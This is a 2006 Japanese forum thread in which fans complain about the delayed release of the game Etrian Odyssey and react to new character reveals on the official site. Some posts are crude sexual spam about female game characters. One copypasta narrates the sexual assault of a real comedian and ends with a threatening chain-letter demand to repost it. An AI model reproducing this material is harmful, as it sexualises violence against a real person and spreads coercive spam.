766 :枯れた名無しの水平思考:2006/09/21(木) 21:08:47 ID:CGwfhpNC0
常に付けてる人じゃなかったろ。
本人・本当かは知らんがまぁ10月に余裕が出来たと思って我慢しよう。

767 :枯れた名無しの水平思考:2006/09/21(木) 21:09:00 ID:CinJ/cXw0
店員スレにはたまに偽熊も出るので詳細は不明。
とはいえこの時期に動きが無いんだからきっと10月じゃないだろうな


個人的には助かったと思ってたりするが。
10月に余計な出費が増えちまったもんでな…

768 :枯れた名無しの水平思考:2006/09/21(木) 21:12:51 ID:fcj9nRK00
わかった!年内には出してくれ・・・

769 :枯れた名無しの水平思考:2006/09/21(木) 21:17:37 ID:7KcvqLzcO
もし10月中に出なかったら、おまいらと楽しく話すことはできなくなりそうです

770 :枯れた名無しの水平思考:2006/09/21(木) 21:18:49 ID:M6swQe9Y0
せめて11月
来年だったら流石に冷める

771 :枯れた名無しの水平思考:2006/09/21(木) 21:19:35 ID:JYIa2LnZ0
あまりの情報の無さに冷めてきたよ俺
どーでもいいゲームって感じになってきた

772 :枯れた名無しの水平思考:2006/09/21(木) 21:24:57 ID:IIdzeJ720
俺は来年でいいや

773 :枯れた名無しの水平思考:2006/09/21(木) 21:27:13 ID:Gd+Y42HA0
全部まともな更新が無いのが悪い

774 :枯れた名無しの水平思考:2006/09/21(木) 21:31:08 ID:eFjHlyn90
遅れちゃうのかな?
11月あたりだと、Wii手前ダイパ後で都合がいいのだが

775 :枯れた名無しの水平思考:2006/09/21(木) 21:35:11 ID:FpmgwOar0
今なら言える。そもそも発表が早すぎたんだ。

776 :枯れた名無しの水平思考:2006/09/21(木) 21:42:23 ID:7KcvqLzcO
ロンゴスはもっと早かったけどテンション持続してたような
イヅナやなめこも、まあまあ早かったけど離れる奴は少なかったし

奴らはちょっと特殊だけどさ

777 :枯れた名無しの水平思考:2006/09/21(木) 21:47:01 ID:TOYPXWY30
(更新速度が)腐ってやがる、(発表が)早すぎたんだ! 

・・・なまじ毎週更新があるから期待→落胆を繰り返してるのもあるのかね>テンション維持できない

778 :枯れた名無しの水平思考:2006/09/21(木) 21:49:10 ID:5RhDUwv90
>>776
ロンゴスはタイトルだけ発表されてから、ほぼ2スレ分ぐらい
ゴスロリのはなしとかローゼンの話で消化してたなw

イヅナはおっぱい、さわりなはなめこ


世界樹はカースメイカー♀?w

779 :枯れた名無しの水平思考:2006/09/21(木) 21:52:48 ID:UCtWGe0j0
ねーよwww

780 :枯れた名無しの水平思考:2006/09/21(木) 21:53:30 ID:lZ+OgDzx0
今冬発売のルミナスアークのHPの方がまめに更新しているし、
BLOGもあるしな・・そっちを見ているとどうしても、
世界樹の方の情報の無さがいらいらする(^^;

店員スレの熊の真偽はともかく、言っている事は間違いないよね。
発注は2ヶ月前とか普通だし。

もう10月はありえないのに、公式ページだけが頑固に
10月となっているのがな・・(ため息)。


781 :枯れた名無しの水平思考:2006/09/21(木) 21:55:25 ID:nPhy67ED0
insideのインタビューが10月中旬とか言ってたからおせぇよって
思ってたけど、なんかちょうどいい時期になりそうだね。

782 :枯れた名無しの水平思考:2006/09/21(木) 21:56:07 ID:M6swQe9Y0
せめてシステム関連の情報があれば妄想のネタになるんだが

783 :枯れた名無しの水平思考:2006/09/21(木) 21:59:38 ID:7KcvqLzcO
まあ、今日発売のとあるゲームのスレ行くと、苛ついた気分も多少落ち着く

784 :枯れた名無しの水平思考:2006/09/21(木) 22:00:45 ID:5RhDUwv90
>>780読んでて思ったが、
>>778に挙げたコアな人気持ってるゲームは
どれも発売前の公式サイトがかなりこってて面白かった作品だな。

結構そういうとこ重要じゃないの、宇田ちゃん。

785 :枯れた名無しの水平思考:2006/09/21(木) 22:00:48 ID:4esqA22z0
個人的には発表当時の過剰な期待というか、ワクテカ感が程よく和らいできた感じ。
でも職業ごとのスキル内容とか、ゲーム内の時間の流れがどんな感じなのかとか
気になる部分はあるけどね。

786 :枯れた名無しの水平思考:2006/09/21(木) 22:02:04 ID:AUyoDYLD0
>>784
まぁ売り上げに結びつくかと言えば別だがなw

787 :枯れた名無しの水平思考:2006/09/21(木) 22:02:36 ID:Ff2tVAoH0
そもそもシステムでまだ試行錯誤してる段階なんじゃね?
とりあえずとっとと発表しろ。

788 :枯れた名無しの水平思考:2006/09/21(木) 22:03:28 ID:g1f5biOG0
パラディン♀だけのパーティー作りたい

789 :枯れた名無しの水平思考:2006/09/21(木) 22:13:12 ID:Jqz1dH4X0
まだ10月に出ると思ってるアホなんて居るの?

790 :枯れた名無しの水平思考:2006/09/21(木) 22:13:59 ID:vEX2L9mEO
>>788
デコがまぶしそうだな

791 :枯れた名無しの水平思考:2006/09/21(木) 22:14:22 ID:jy0cj2i80
いわゆる後衛職のみとかでやってみたい
すぐ死ぬんだろうけどな


792 :枯れた名無しの水平思考:2006/09/21(木) 22:18:28 ID:g1f5biOG0
デコかわいいっていうほどデコでもない
中途半端なデコだな

793 :枯れた名無しの水平思考:2006/09/21(木) 22:27:26 ID:AsIVo+jB0
はぁ〜ん!メディック♀タソのおしりの穴がみたいよぉ〜

794 :枯れた名無しの水平思考:2006/09/21(木) 22:28:17 ID:nPhy67ED0
メディック♀タソにおしりの穴なんて存在しないよ

795 :枯れた名無しの水平思考:2006/09/21(木) 22:30:35 ID:VG93MgBc0
>>788
物理無効とか物理反射とかに囲まれたら死ねるなww

だがそれがいい(A(ry

796 :枯れた名無しの水平思考:2006/09/21(木) 22:36:58 ID:g1f5biOG0
はぁ〜ん!パラディン♀タソのおしりの穴がみたいよぉ〜

797 :枯れた名無しの水平思考:2006/09/21(木) 22:49:37 ID:nPhy67ED0
パラディン♀タソは穴が開きっぱなしになってるよ

798 :枯れた名無しの水平思考:2006/09/21(木) 22:55:48 ID:4esqA22z0
>>795
やっぱ普通にいるのかな>物理無効とか物理反射
もしそんなのばっかりウヨウヨいるフロアとかあったら
組む予定の筋肉系パーティー逃げまくらないと死ねるw

799 :枯れた名無しの水平思考:2006/09/21(木) 22:57:11 ID:g1f5biOG0
ボスは龍の眼光とかガンガン使ってくるんだろうね

800 :枯れた名無しの水平思考:2006/09/21(木) 23:02:14 ID:TuxoI9Nw0
つまりモト劇場開幕というわけか

801 :枯れた名無しの水平思考:2006/09/21(木) 23:10:16 ID:iUvDGltlO
やぁ。久しぶりに覗いてみたら、10月発売無いっぽいね。
ところで、ブシドーはサムライになったかい?

802 :枯れた名無しの水平思考:2006/09/21(木) 23:11:14 ID:Gd+Y42HA0
>>798
サルバンの破砕日パーティを懐かしめばいい

803 :枯れた名無しの水平思考:2006/09/21(木) 23:19:57 ID:lNFsdky6O
海の上を飛んでる最中に破砕日になり、
飛行メンバーがいなくなって大惨事が起こったのもいい思い出。
デパート?がクリアできずに手放しちゃったのが今更ながら悔やまれる。

>>803
加齢臭乙。

804 :枯れた名無しの水平思考:2006/09/21(木) 23:33:39 ID:RrTkJUCE0
8月31日に出るはずだったゲームのスレと掛け持ちの俺にはこの程度何ともないぜ

805 :枯れた名無しの水平思考:2006/09/21(木) 23:35:01 ID:FVY71P010
夏が来るのを待ってた俺もなんともないぜ

806 :枯れた名無しの水平思考:2006/09/21(木) 23:35:47 ID:3vROqwf80
>>802
ラストハルマゲドンナツカシス



807 :枯れた名無しの水平思考:2006/09/21(木) 23:45:44 ID:ZGTackVGO
>>803
自己レス乙。
そんなにそう言われるのが怖いんですか?w

808 :枯れた名無しの水平思考:2006/09/22(金) 00:01:34 ID:g0X6mGR40
12月末のDQMJがCMまで出来ているのに世界樹と来たら
買うけどさ

ttp://www.youtube.com/watch?v=4R7ljIUHtWo

809 :枯れた名無しの水平思考:2006/09/22(金) 00:06:19 ID:pyPvvIBF0
元からアトラス関係のCMってあんまり見た記憶が無い気がする

ショップでの販促DVDでもあればなぁ・・・ゲームショーにも出す予定ないんでしょ?
敢えて焦らしてる感じはするから、気長に待つとするかね

810 :枯れた名無しの水平思考:2006/09/22(金) 00:10:00 ID:YoU/87gk0
敢えて焦らし、焦らしに焦らせて、
実際に出てきたらとんでもないことになっていた…

ということになりませんように。(-人- )ナムナム

811 :枯れた名無しの水平思考:2006/09/22(金) 00:10:12 ID:pS8HTMWK0
>>787
誰も突っ込まないから言っておくが、ファミ痛で公開された時点で開発70%まで終了
しかも10月に発売予定なのにそれはありえない

>>808
世界樹CMやるのかねぇ

812 :枯れた名無しの水平思考:2006/09/22(金) 00:10:16 ID:xz62gAHz0
ゲームショーに出展も無いのかぁ

813 :枯れた名無しの水平思考:2006/09/22(金) 00:13:16 ID:cFMesBGt0
カドゥケウスはCMどころか雑誌広告すら無かったぞ。
そうやって制作費をとことん切り詰めてるんだろうな。

814 :枯れた名無しの水平思考:2006/09/22(金) 00:16:12 ID:pyPvvIBF0
>>810
10年待ってそれを味わったことがあるから、気にしないぜ!!

815 :枯れた名無しの水平思考:2006/09/22(金) 00:17:17 ID:+9+yBKpw0
そういや、アトラスの携帯機のCMってみた覚えないなぁ
ペルソナ3とかノクタンとかは記憶あるけど。

816 :枯れた名無しの水平思考:2006/09/22(金) 00:33:45 ID:52vNQl2D0
一昔前はよく夕方アニメにCMうってたけどな
デビチルのころとか

817 :枯れた名無しの水平思考:2006/09/22(金) 00:47:59 ID:pyPvvIBF0
ウチの地方じゃデビチル日曜の朝6時にやってたから、そりゃ見た記憶ないわなw

818 :枯れた名無しの水平思考:2006/09/22(金) 01:46:08 ID:XXksyGYV0
はぁ〜ん!ブシドー♀タソの***に***を***して*********よぉ〜

819 :枯れた名無しの水平思考:2006/09/22(金) 01:49:18 ID:t+Jh6LBE0
はぁ〜ん!ブシドー♀タソのかたなに俺の眼をぶっさして眼球ファックしたいよぉ〜、か
ど変態だな

820 :枯れた名無しの水平思考:2006/09/22(金) 01:49:55 ID:pyPvvIBF0
はぁ〜ん!ブシドー♀タソのカタナに強化策をほどこして切れアジを増したいよぉ〜

821 :枯れた名無しの水平思考:2006/09/22(金) 01:50:00 ID:LELtg6XB0
この××が
×××るぞ

822 :枯れた名無しの水平思考:2006/09/22(金) 02:29:34 ID:dsrjtavR0
はぁ〜ん!パラディン♀タソと年金について夜明けまで語り明かしたいよぉ〜

823 :枯れた名無しの水平思考:2006/09/22(金) 02:31:17 ID:gockb2qk0
>>821
このゲームに坊主の出番はありませんよ。

824 :枯れた名無しの水平思考:2006/09/22(金) 02:32:01 ID:M1VDKxy00
はぁ〜ん!バード♀タソのおしりの穴覗き込みたいよぉ〜

825 :枯れた名無しの水平思考:2006/09/22(金) 02:39:42 ID:o00nJNgy0
なんでTGSに出展しないんだ…と思ったが
アトラス自体が不参加なのか

826 :枯れた名無しの水平思考:2006/09/22(金) 02:47:36 ID:e0vOOZx9O
新規タイトルという割には新鮮味や面白みを感じないタイトルだな。

活発さというか、新規タイトルらしいテンションの高さを感じないというか。
出尽くした感のある古臭い3Dダンジョンなんてジャンルに、
ただ最近ありがちなキャラ絵をのせただけ。
なんか、“ただ〜しただけ”みたいなテンションの低さ。
これは〜だから、こういうシステムなんだ、こういう絵なんだ、てのが伝わってこない。


…あ、以上はHPからの感想。
ここでちょくちょく名前があがるような新規タイトルのHPなんか、もっとやる気やテンションの高さがあるよ。

827 :454:2006/09/22(金) 02:58:57 ID:4A/OrHhM0
モンスターデータをエクセルでまとめるためのダイアログを作成中。
6割くらいできた気がする。
需要があるかはわからないけど完成したらうpします。
まぁスレのネタにでもなればいいかな、と。

記入事項は階層、モンスターの名前、分類(雑魚とかf.o.eとか)、攻撃パターン、
弱点、耐性、ドロップアイテム、その他、です。
分類、弱点、耐性はわざわざ手打ちしなくていいようにリストから選ぶ方式にしたり、
階層、分類で自動でソートできるようにしました。
あと弱点、耐性は自分でリスト中の項目も増やせるようになってます。

しかしもしもゲーム中にテイルズみたいにモンスター図鑑なるものがあったら
俺の努力無駄だよね。

828 :枯れた名無しの水平思考:2006/09/22(金) 03:32:43 ID:ZGavAPKk0
>>827
仮に図鑑があってもあんたのやったことは無駄にはならないと思うよ

簡単な弱点とか耐性とか攻撃方が載ってる作中図鑑って結構あるけど
ドロップアイテムや注意すべき事柄まで詳しく載ってる作中図鑑なんてまずないからな
それに利用者がそれぞれ独自にまとめたオリジナル図鑑をうpして
補完しあうようになれば完成度の高い図鑑が出来るし、それをWikiにでも置いて
落とせるようにすれば詳細な情報を共有できるしw

なにより項目変えれば他のゲームに十分流用もできるしなw

あんたの努力しだいで夢が広がるんだ。がんばってくれ

829 :枯れた名無しの水平思考:2006/09/22(金) 05:04:29 ID:n69WG6ZV0
去年もライドウが出てたので、今年もアトラスでんのかと思ったら…
ちょっと楽しみが減ったなぁ

830 :枯れた名無しの水平思考:2006/09/22(金) 06:21:00 ID:Wzsc/INCO
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

831 :枯れた名無しの水平思考:2006/09/22(金) 06:37:48 ID:+J538P9/0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

832 :枯れた名無しの水平思考:2006/09/22(金) 07:21:56 ID:80lJ+XiO0
はぁ〜ん!カースメイカー♀タソの頭蓋かち割ってプニプニの大脳に精液をドップリ注ぎこみたいよぉ〜

833 :枯れた名無しの水平思考:2006/09/22(金) 07:51:58 ID:CRo5PW5DO
更新マダー?

834 :枯れた名無しの水平思考:2006/09/22(金) 09:43:42 ID:8J9wOSC8O
耐性除去スキルか弱点付加スキルがほしいな

835 :枯れた名無しの水平思考:2006/09/22(金) 10:52:07 ID:80lJ+XiO0
http://game10.2ch.net/test/read.cgi/handygame/1158636054/46-47

836 :枯れた名無しの水平思考:2006/09/22(金) 11:17:28 ID:LuY32HL90
ダークハンター♂マダー??

837 :枯れた名無しの水平思考:2006/09/22(金) 11:26:54 ID:2cQ5ZH0g0
よゐこの有野っているじゃん。
偶然街で会った有野をポンとたたくと、一瞬ビックリして態度が変わる。
邪魔だなと言わんばかりに迂回しようとする。
そのうち酔狂心旺盛な有野の軽い払う手が入る。
そいつをマネして俺らも張り手を入れる。
罠と知らずにぶつぶつ言う有野を運び出す。
五人が一人の有野を。
いつのまにか有野は俺のベットの上で裸で縛られている。
白い体と黒いケツ毛が作り出す模様は綺麗で見てて楽しい。
一人が一発づつ、丁寧にせっせと精子を送る。
せっせと、せっせと、せっせと、せっせと。
有野って好き者だなと思う。
俺も頑張らなきゃなと思う。
次の日、あれほど抵抗して俺を困らせた有野がいない。
ほんとにいない。
探してもいない。
泣きたくなった。





このレスを見た人は3日後にあなたの大切な人がいなくなるでしょう・・・・
それが嫌ならこのレスを4つの板にコピペしてください。 
信じるか信じないかはあなた次第です。

838 :枯れた名無しの水平思考:2006/09/22(金) 14:57:47 ID:dsrjtavR0
なにこの更新前の静けさ

839 :枯れた名無しの水平思考:2006/09/22(金) 14:59:37 ID:HhU53OE40
またキャラ1つ追加だべ

840 :枯れた名無しの水平思考:2006/09/22(金) 15:17:16 ID:BgW/XYZbO
更新マダー?

841 :枯れた名無しの水平思考:2006/09/22(金) 15:28:43 ID:M1VDKxy00
はぁ〜ん!アルケミスト♀たんの麗しいお姿を拝みたいよぉ〜

842 :枯れた名無しの水平思考:2006/09/22(金) 16:06:07 ID:xz62gAHz0
ゲームショーで他社のゲームが盛り上がる中
キャラ1つ追加だけだったら…

宇田に惚れてしまいそうだ

843 :枯れた名無しの水平思考:2006/09/22(金) 16:13:56 ID:CRo5PW5DO
はぁ〜ん☆宇田タン更新したらめええぇぇぉ〜ん(gg♪

844 :枯れた名無しの水平思考:2006/09/22(金) 16:35:15 ID:LuY32HL90
ダークハンター♂マダー???

845 :枯れた名無しの水平思考:2006/09/22(金) 17:01:47 ID:BgW/XYZbO
更新なんかより空でも見ようぜ
今日なんか雲の形がおもしろいわ

846 :枯れた名無しの水平思考:2006/09/22(金) 17:55:37 ID:jcTnXf410
宇田さーん
更新待ってるよ〜!!

847 :枯れた名無しの水平思考:2006/09/22(金) 17:59:32 ID:4ZURbR+N0
今30分ぐらい空見てた
でもまだ更新してないみたいだねorz



とか思ってたら…(゜∀゜;)

848 :枯れた名無しの水平思考:2006/09/22(金) 18:02:08 ID:4A/OrHhM0
あぁ、今ちょうど夕焼けと雲がいい具合になって綺麗だよ
多分宇田タソも空見てるんだよね

849 :枯れた名無しの水平思考:2006/09/22(金) 18:21:57 ID:gs4Dk25t0
今日は更新遅めか。もしかしたら多少多目の更新かも、という期待をしてもいいいのかな。

850 :枯れた名無しの水平思考:2006/09/22(金) 18:23:51 ID:MwYPYKeP0
そろそろキャラだけ更新は止めて欲しい。
性別以外は一通り出たので、議論にすらならない。

851 :枯れた名無しの水平思考:2006/09/22(金) 18:29:25 ID:9c50D5CZ0
お前らがそんな事言うから
今週は更新無しだ!

852 :枯れた名無しの水平思考:2006/09/22(金) 18:39:39 ID:bxN9wRIY0
今日の雲モコモコしてるな

853 :枯れた名無しの水平思考:2006/09/22(金) 18:55:45 ID:eYhXvHxs0
ホームページの更新とかそこまで気にしてるのおまえらくらいのもんだよ

854 :枯れた名無しの水平思考:2006/09/22(金) 19:10:26 ID:gs4Dk25t0
きたね、更新。
まぁ・・・妥当というかなんつーか。

855 :枯れた名無しの水平思考:2006/09/22(金) 19:10:43 ID:ZgLKs97n0
ダークハンター♂きた

856 :枯れた名無しの水平思考:2006/09/22(金) 19:12:57 ID:sbeo4Tdg0
10月中に発売は無いかあ
まあ気長に待つかな

857 :枯れた名無しの水平思考:2006/09/22(金) 19:12:59 ID:o00nJNgy0
キャラ更新はもういい…

858 :枯れた名無しの水平思考:2006/09/22(金) 19:13:09 ID:d58xzFxk0
>さて・・・発売日の件ですが現在決定前の最後の詰めに入ってます。
>発表をお待ち頂いてしまっていて本当にすいません!

>※「世界樹の迷宮WEBラジオ(仮称)」について
>本タイトルのディレクター新納が、世界樹の迷宮の見所や制作にかける意気込みを語りつつ、
>魅力溢れるBGMを一曲ずつ紹介していく内容になっています。詳しい内容が決まり次第、またご報告します。

━━━━━━(゚∀゚)━━━━━━

859 :枯れた名無しの水平思考:2006/09/22(金) 19:14:28 ID:bAcuCuEX0
ダークハンターは牝で決まりだな。

860 :枯れた名無しの水平思考:2006/09/22(金) 19:14:52 ID:MwYPYKeP0
宇田さん、もう少し働いてください・・・

861 :枯れた名無しの水平思考:2006/09/22(金) 19:15:49 ID:pS8HTMWK0
>>858
コレはかなりキてるな

862 :枯れた名無しの水平思考:2006/09/22(金) 19:16:51 ID:eQhgGeEQ0
働いてないわけじゃないでしょ。

863 :枯れた名無しの水平思考:2006/09/22(金) 19:17:14 ID:sXvz7sus0
あるダークハンター♂の話はソードマン♀かな?

864 :枯れた名無しの水平思考:2006/09/22(金) 19:18:52 ID:4YL2BLQk0
ダークハンター♂の名前は三下・ヘタレ・小物どれがいいか…

865 :枯れた名無しの水平思考:2006/09/22(金) 19:23:16 ID:bxN9wRIY0
あの時言ってた企画ってのはWEBラジオのことだったのか
ついに古代氏の曲が・・・!

866 :枯れた名無しの水平思考:2006/09/22(金) 19:27:34 ID:pS8HTMWK0
>彼らが得意の鞭ではなく
>剣を手にしたとき、ソードマンとは異なる
>様々な技を駆使して魔物を仕留めてくれる

コレは武器によってスキルが変わるということなのか?
それとも特定の武器を装備していないとスキルが発動できないということなのか?
気になるなぁ

867 :枯れた名無しの水平思考:2006/09/22(金) 19:31:49 ID:ZnjPJcZH0
そもそも発表が早すぎた感じがしないでもない。

868 :枯れた名無しの水平思考:2006/09/22(金) 19:33:14 ID:M1VDKxy00
なんだこの小物臭漂うキャラは
まぁ俺は♀しか使わないから関係ないけど

869 :枯れた名無しの水平思考:2006/09/22(金) 19:34:07 ID:4ZURbR+N0
きっとあれだ
一週間に1人更新するとなると18週間(約4ヵ月半)かかるから
10月発売予定なら5〜6月に発表しなきゃいけなかったんだ

870 :枯れた名無しの水平思考:2006/09/22(金) 19:36:43 ID:d58xzFxk0
期待してたキャラが全然妄想してたのと違ったときの失望感が半端じゃない

871 :枯れた名無しの水平思考:2006/09/22(金) 19:51:37 ID:oMf4uGo/0
また宇田に焦らされて悶絶。くっくやしい…でも

872 :枯れた名無しの水平思考:2006/09/22(金) 19:58:36 ID:r70gatHD0
ゲハの店員スレでクマが言うには
この時期に受注こないと年内も危ういらしいよ


873 :枯れた名無しの水平思考:2006/09/22(金) 20:00:38 ID:vwa4mjJ40
大きく宣伝する気はなさそーだな。

874 :枯れた名無しの水平思考:2006/09/22(金) 20:01:12 ID:Ix0jh4x90
もう今年はやるもん多すぎだし来年の3月でよいよ

875 :枯れた名無しの水平思考:2006/09/22(金) 20:02:54 ID:mA4CAWXj0
冬コミまでに出して欲しいけど・・・

876 :枯れた名無しの水平思考:2006/09/22(金) 20:08:43 ID:CcIvXvm70
ダクハン♂が凄い壷に嵌まった俺の立場は

877 :枯れた名無しの水平思考:2006/09/22(金) 20:10:56 ID:jcTnXf410
>>876
つ「蓼食う虫も好き好き」

878 :枯れた名無しの水平思考:2006/09/22(金) 20:11:52 ID:pS8HTMWK0
>>876
小物のよさが分からないやつもいるさ、そりゃあ

879 :枯れた名無しの水平思考:2006/09/22(金) 20:29:40 ID:HhU53OE40
なんという更新・・・
予想通りすぎてガッカリしてしまった
このスレは間違いなく盛り下がる
       
   / ̄\
  | ^o^ |  
   \_/

880 :枯れた名無しの水平思考:2006/09/22(金) 20:31:02 ID:muSrrVaD0
今チュチュの奴らと宇田のキモさが同じくらいになってるな

881 :枯れた名無しの水平思考:2006/09/22(金) 20:34:36 ID:TzDjabAEO
シモン・ベルモンドぐらい渋かったら主役気分で使いたかったなあ


882 :枯れた名無しの水平思考:2006/09/22(金) 20:34:57 ID:dcs5rnCY0
>>866
後者なんじゃないかと思う。

883 :枯れた名無しの水平思考:2006/09/22(金) 21:00:17 ID:NvilyjYE0
ダークハンター♂、あれは無いよ・・・。
もっとこう、ダークハンター姐さんとつりあうようなイイ男にしてくれョ・・・。


884 :枯れた名無しの水平思考:2006/09/22(金) 21:01:00 ID:I6BfWtm50
ベルモンド家の連中を期待するのは流石に間違いだと思うんだ。

885 :枯れた名無しの水平思考:2006/09/22(金) 21:08:03 ID:yIf1ffRM0
ペルソナ3の主人公ってこんな感じじゃなかった?

886 :枯れた名無しの水平思考:2006/09/22(金) 21:09:09 ID:kmnFF4l20
ダクハン♂もうちょい真面目さがあれば主役にしてやったのに

887 :枯れた名無しの水平思考:2006/09/22(金) 21:16:38 ID:CnlsrgNK0
一週間ずっと昼寝して発売日決定待っていたのに。
来週の金曜日までゴロゴロしてよ。

888 :枯れた名無しの水平思考:2006/09/22(金) 21:16:59 ID:6d+PtTF00
>>885
髪型と色は似たような感じだな
鬼太郎を三下チンピラっぽくアレンジしたみたい

889 :枯れた名無しの水平思考:2006/09/22(金) 21:20:06 ID:cskAfpBa0
全然似てないけど何故かヌケサク思い出した。

890 :枯れた名無しの水平思考:2006/09/22(金) 21:43:18 ID:FHe9za5jO
とりあえず、発売するまで公式サイトは二度と見ないことに決めた。
どうせろくな情報も無いし、宇田の無駄に勿体ぶった物言いにムカつくだけ損なことにやっと気付いたよ。
つーか、ちょっと考えれば10月発売はありえないと判る状況なんだから、
せめて「発売日未定」に訂正して一言くらい詫びを入れるのが筋と違うのか。

891 :枯れた名無しの水平思考:2006/09/22(金) 21:44:06 ID:atnlLMaG0
ダークハンター♂いいな
小物っぽさ溢れて

892 :枯れた名無しの水平思考:2006/09/22(金) 21:45:19 ID:atnlLMaG0
よし決まったぜ
名前は木っ端だ

893 :枯れた名無しの水平思考:2006/09/22(金) 21:45:37 ID:eQhgGeEQ0
詫び(笑)

894 :枯れた名無しの水平思考:2006/09/22(金) 21:48:48 ID:I8nqW1c/0
次は「指詰めろ」だろうな

895 :枯れた名無しの水平思考:2006/09/22(金) 21:49:29 ID:4A/OrHhM0
手塚治のどろろ的ポジションのキャラ?
もしくはスネオっぽいな。俺は割りと好きだ。
主役を張る感じではないね。

896 :枯れた名無しの水平思考:2006/09/22(金) 21:52:48 ID:52vNQl2D0
キャラに性格がないから、どれもが主役になれなきゃおかしいんだけど、
それだとデザインに幅が出ないからこうなっちゃうんだろうな。

897 :枯れた名無しの水平思考:2006/09/22(金) 21:55:22 ID:xz62gAHz0
百鬼丸=ドラえもん
どろろ=のび太≠スネオ 
じゃね? 駄レスですまん

898 :枯れた名無しの水平思考:2006/09/22(金) 22:06:34 ID:8JOVI3bz0
WEBラジオとかいってバッカじゃねーの?
俺はゲームがしたいんだよ!!!
仕事しろ!調子のんな!!!!!!!

899 :枯れた名無しの水平思考:2006/09/22(金) 22:07:41 ID:8JOVI3bz0
冬コミに本だすためにカットまで書いたのにどうしてくれる!!

900 :枯れた名無しの水平思考:2006/09/22(金) 22:19:50 ID:Ix0jh4x90
うp

901 :枯れた名無しの水平思考:2006/09/22(金) 22:27:45 ID:4A/OrHhM0
うp

902 :枯れた名無しの水平思考:2006/09/22(金) 22:46:34 ID:sCrRQLKE0
WEBラジオキタ━━━━━━(゚∀゚)━━━━━━ !!!!!

903 :枯れた名無しの水平思考:2006/09/22(金) 22:50:43 ID:pyPvvIBF0
ラジオは良いな。曲が聴けるならまたイメージ沸きそうだ

904 :枯れた名無しの水平思考:2006/09/22(金) 22:52:41 ID:1RDpwdch0
WEBラジオのBGMは開発スタッフの怒号と絶叫と苦悶の声です。


905 :枯れた名無しの水平思考:2006/09/22(金) 22:55:46 ID:4A/OrHhM0
※「世界樹の迷宮WEBラジオ(仮称)」について
本タイトルのディレクター新納が、世界樹の迷宮の見所や制作にかける意気込みを語りつつ、
魅力溢れるBGMを一曲ずつ紹介していく内容になっています。詳しい内容が決まり次第、またご報告します。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
宇田タソ・・・来週も…何もないんだ…

906 :枯れた名無しの水平思考:2006/09/22(金) 22:56:58 ID:4A/OrHhM0
おもいっきりアンダーラインみすった。半角スペースはダメだったのか。しらなかったぜ。
まぁどこにアンダーライン引きたかったのかはわかるよね。

907 :枯れた名無しの水平思考:2006/09/22(金) 22:58:58 ID:HhU53OE40
連続する半角スペースはズレる

908 :枯れた名無しの水平思考:2006/09/22(金) 22:59:36 ID:esLSMMKk0
ダークハンター♂の俺の脳内における担当声優が古川登志男に決定しますた

909 :枯れた名無しの水平思考:2006/09/22(金) 23:00:35 ID:FhKO1Zgq0
>>906
魅力溢れるBGMを一曲ずつ紹介していく内容

ここにアンダーラインだろ?
ミスってないし、いい引き方だ。

一曲ずつ、数週に渡って公開し、
発売延期の言い訳に使おうって魂胆だ

910 :枯れた名無しの水平思考:2006/09/22(金) 23:01:02 ID:NvilyjYE0
>>908
今まで『スピード』観てたろ。
でも言われてみれば確かに合うな。

911 :枯れた名無しの水平思考:2006/09/22(金) 23:05:20 ID:kKkSiJJ50
はぁ〜ん!メディック♀タソのおしりの穴がみたいよぉ〜

912 :枯れた名無しの水平思考:2006/09/22(金) 23:07:15 ID:pyPvvIBF0
ダークハンター♂はマジュニアさんか・・・いいじゃねぇか

913 :枯れた名無しの水平思考:2006/09/22(金) 23:11:57 ID:ZgLKs97n0
どちらかというとカイじゃないのか

914 :枯れた名無しの水平思考:2006/09/22(金) 23:13:08 ID:4A/OrHhM0
メディック♀タソにおしりの穴なんて存在しないよ
って即レスで言いたかったのに>>912を取られた。日課だったのに。

